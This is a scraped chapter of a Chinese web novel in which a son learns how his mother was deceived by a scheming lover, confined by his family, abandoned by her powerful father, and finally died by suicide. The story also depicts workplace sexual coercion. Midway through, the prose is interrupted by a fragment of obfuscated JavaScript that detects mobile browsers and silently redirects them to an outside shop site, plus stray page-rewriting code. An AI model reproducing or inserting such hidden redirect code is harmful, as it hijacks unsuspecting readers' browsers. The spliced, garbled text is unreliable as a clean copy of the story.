文趣网 > 都市小说 > 我是梦女让让我 > 60. 金曼
    “靳升。”钟佳轻轻唤他的名字。

    察觉到自己有些失态,靳升立马恢复了往常平淡的样子。

    只是泛红的眼尾,清晰的暴露出他此刻的情绪。

    “如果你想诉说,”钟佳语气温柔,“我很愿意当你的倾听者。”

    问完,靳升的目光望向钟佳,少女眼睛明亮的看着他。

    她的眼睛好像有种魔力,只要望上一眼,便能让人深陷于此,让人情不自禁的想要相信她,依赖她。

    “你愿意听吗?”靳升的声音有些沙哑。

    钟佳的心脏像是被人紧紧捏住,扯的她w喘不过气,靳升独自背负这段记忆太久了,钟佳不忍心让她一个人独自消化这沉重的记忆。

    钟佳眼神是前所未有的坚定,“我愿意。”

    得到钟佳肯定的答案,靳升才缓缓开口,将尘封已久的内心剖析开来。

    根据靳升所讲的,和自己对游戏主线剧情残存的记忆,钟佳拼凑出了故事的全貌。

    —

    金曼是钟亚保的老来得女,在钟氏的年会上,看上了一个新人。

    新人有一张十分张扬的脸,魅力无限,钟亚保第一眼就被这个新人所吸引,或许受酒精影响,钟亚保做了一个无法原谅的错误。

    他用职权威逼利诱,迫使新人从了他。

    他许诺给她加薪升职,集团里的好项目都交给她做。

    新人心动了。

    两人共赴巫山。

    酒醒后,钟亚保履行了他的承诺,提拔了她的职位,并让她接手了许多项目。

    二人没再联系。

    本以为后期也不会再有联系的时候,女人找到了他,对他说,自己已经怀孕了。

    那时的钟亚保已经有了三个儿子,看着女人的孕检单,沉默了很久。

    按照正常流程,钟亚保会给她一笔钱,让她把孩子做掉。

    可这次,他并没有这么做。

    因为,钟亚保想要女儿。

    他语气低沉,“生下来吧。”

    连女人都没想到,钟亚保会让她把孩子生下来。

    “生下来,做私生子吗?”女人的野心很大,她不想让自己的孩子无名无分。

    钟亚保对她保证,只要孩子生下来,钟亚保就会把她带回老宅。

    十月怀胎,一朝分娩。

    果然是女孩。

    钟亚保大喜过望,将女儿养在了钟家,甚至想昭告天下的时候,钟亚保的夫人李钰和他大吵了一架。

    甚至走到了要离婚的地步。

    钟亚保是个商人,为了这个和李钰闹翻,并不是明智之举。

    钟家和李家有商业上的往来,他不能因为一个女人影响到他们两家的关系。

    于是,钟亚保让步了。

    金曼被接到了钟家,他们给金曼的生母一大笔钱,将她送出国去,锦衣玉食一辈子。

    金曼就这么被养到了钟家。

    钟亚保很喜欢这个女儿,他将金曼视为掌上明珠,宠爱程度是三个儿子没办法比的。

    他还给了金曼一些股份,让她有可以傍身的资本。

    除了一个光明正大的身份外,钟亚保什么都给她了。

    直到金曼十八岁的时候,碰到了靳贺斯。

    二人是在一家银行认识的,当时金曼碰到了急用钱的靳贺斯,金曼下意识拿出自己的卡递给工作人员,“用我的吧。”

    靳贺斯闻言,抬头看向金曼,语气真挚,“谢谢你,给我一个联系方式吧,我把钱还给你。”

    金曼笑着摆摆手。

    作为钟亚保的掌上明珠,这些钱对她来说根本不算什么,她并没有让靳贺斯还的打算。

    靳贺斯却十分执着,金曼拗不过,加了靳贺斯的联系方式。

    靳贺斯告诉他,因为和父亲吵架,父亲停掉了他所有的卡。

    见靳贺斯实在可怜,金曼再次拿出来一张无限额的卡,递给靳贺斯,“给你。”

    金曼大方的有些害怕,靳贺斯迟迟没有接她的卡。

    金曼皱着眉,隐隐有些不悦。

    很少有人敢不接她的东西。

    她有些烦躁,将卡扔在了地上,转身离开了。

    无奈之下,靳贺斯捡起了那张卡。

    很巧的是,二人在一个大学,靳贺斯为了表达谢意,经常跨专业来陪金曼上课。

    金曼不住宿,因此也没什么朋友,上下学都由钟家人车接车送。

    靳贺斯的出现,让她没有那么孤单。

    他对她非常好,似乎能够包容她的一切。

    金曼被钟亚保宠坏了,她有很多小毛病,比如,她讨厌自己的话落在地上,说完话五秒内,她必须得到回应,不然会生气。

    再比如,她讨厌的东西方圆十里都不可以出现,只要出现在她视线范围内,她会生气。

    她讨厌排队,如果遇到必须需要排队的情况,她会任性的直接走人。

    她有着十足的大小姐脾气,但凡有不顺心,她都会直接发火。

    连金曼也没想到,自己这样的性格,靳贺斯居然全都包容了。

    金曼也慢慢变得依赖他。

    直到有一天,学校里突然爆发了关于她的传闻。

    大家都说她是钟家的私生女。

    金曼的性格得罪了很多人,以至于落井下石之人不少,一瞬间,所有尖酸刻薄的话都传入了她的耳中。

    身为大小姐,她并不在意这些,私生女又如何,钟亚保宠爱她,佣人们毕恭毕敬的对待她。

    就算是见不得光的私生女,她也超过了这个世界上百分之九十的人。

    可她没想到的是,靳贺斯挺身而出了,金曼记得,靳贺斯当时把她护在身后,对着几个嚼舌根的男生威胁道,“再敢非议她的话,当心点你们自己的家。”

    这是第一次有人就这个话题护着她。

    本来在她心里,这不算什么的。

    可是有人维护的感觉,倒也不错嘛。

    那天下课后,金曼问他,“为什么维护我?”

    “因为我们是朋友。”靳贺斯红着脸对她说。

    后来,金曼果真没有再听到这些话,班里说她是私生女的浪潮一下子消散了。

    她将靳贺斯叫到面前,“是你做的?为什么?”

    靳贺斯给她告白了。

    恋爱这件事对金曼来说,她很憧憬。

    她也肯定自己对靳贺斯也有好感,只是微微蹙眉,“那你努力吧。”

    靳贺斯比之前更加殷勤了,金曼理所应当的享受着靳贺斯的照顾,半年后,金曼同意了。

    两个人在一起了。

    金曼将这件事告诉了钟亚保,钟亚保虽不悦,却也没说什么。

    孩子长大了,总要有自己的生活要过。

    他对金曼十分宠爱,金曼做的任何决定,钟亚保都会支持。

    反正家大业大,金曼就算做错了,他钟亚保也有能力兜底。

    他见了靳贺斯,敲打了他几句,便放任两人。

    二人就这么热恋了一段时间。

    直到一年后,在一场饭局,靳贺斯和金曼在酒精的作用下,一夜缱绻。

    金曼似乎走上了和母亲一样的道路,她也怀孕了。

    得知女儿怀孕的钟亚保抛下全部的工作跑到靳家要说法,却被金曼制止了。

    金曼想把这个孩子生下来。

    钟亚保还是听了女儿的。

    靳贺斯细心的照顾着孕期的金曼,对她承诺,“等你把孩子生下来,我一定给你一个盛大的婚礼。”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706638|204719||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >“那我要最配得上我身份的。”金曼轻哼,语气十分得意。

    然而等生下孩子后,本以为等来的是一场盛大的婚礼,可她什么都没等到。

    坐完月子后,金曼就困在了靳家这一亩三分地,靳贺斯依旧可以完成他的学业,而金曼,却没办法再次回到学校。

    她的心态开始发生了变化,她看着自己孕育出来的小生命,沉默了。

    出生到现在,孩子的名字还没想到。

    她翻着手机里的合照,看着孩子的小脸,自嘲地笑了,“以后,你就叫靳升。”

    靳升,永远都会向上走。

    生下靳升后,金曼便亲力亲为的照顾靳升。

    靳贺斯回家的频率越来越低。

    直到靳升六岁左右,靳贺斯一身酒气的回到了家。

    那天后,金曼又怀孕了。

    她和变了一个人一样,面对靳升,她也没什么好脸色。

    她想回钟家,却被靳家软禁在那里。

    钟亚保几次三番来问她的情况,都被靳贺斯搪塞了回去。

    这次孕期反应十分强烈,她几乎没有睡过一个整觉。

    靳升心疼她,于是尽心尽力的照顾她。

    小小的靳升是金曼整个孕期的精神来源。

    分娩那天,她生下了妹妹靳煊。

    她以为能等到靳贺斯,可她依旧没有等到。

    却意外撞到了靳贺斯和他的嫂子厮混在一起。

    金曼拖着疲惫不堪的身体,狠狠打了靳贺斯一个耳光。

    靳贺斯冷着脸,将金曼推倒在地,居高临下的看着她,“你还以为你是那个作天作地的大小姐?”

    金曼不敢相信自己的耳朵,靳贺斯怎么会说出这种话呢?

    “你说什么?”

    “我说,别把自己当大小姐了,你看看你现在的样子,有一点大小姐的样子吗?你不就是一个见不得光的私生女吗,原本以为钟亚保宠爱你,娶你回来,能给我带来不少助力……”

    亏他设计让金曼怀孕。

    金曼这才如同大梦初醒一般。

    原来这一切都是他制造的假象,他早就知道了自己的身份,一步步刻意接近,都是为了他自己。

    甚至怀孕,都是靳贺斯故意为之。

    金曼内心涌上一股强烈的反胃感。

    “你认真的?”

    金曼并没有得到靳贺斯的回应,靳贺斯拥着女人扬长而去。

    独留金曼一个人在原地。

    想看她歇斯底里吗?

    不,她不会歇斯底里,总有一天,你们这对狗男女会被讨伐。

    她给钟亚保写了信,托靳升悄悄送到门外,她将最后的希望压在了钟亚保身上。

    那个宠了她一辈子的父亲,会不会帮她讨回公道。

    金曼等了很久,她都没有等到钟亚保的回信。

    她知道,钟家和靳家还需要有生意往来。

    如果钟亚保来了,自己的身份就会公之于众。

    这对于钟家还说,是莫大的丑闻。

    金曼明白,自己被放弃了。

    她扭头,看向一旁一脸担忧的靳升,释怀的笑了。

    她一步一步走了过去,轻轻抱住了靳升,语气温柔,“记得,靳升,永远都要向上走。”

    靳升紧张的拉着金曼的手,他不敢松开,“母亲……”

    “靳升,不要成为靳贺斯那样的人,永远都不要。”

    这是金曼留给他的最后一句话。

    金曼轻轻亲了下靳升的额头,“照顾好妹妹,我爱你。”

    话音一落,她松开了拉着靳升的手,朝阳台跑去。

    靳升用劲全身的力气,也没有抓住妈妈的手。

    金曼就这么从阳台上,一跃而下。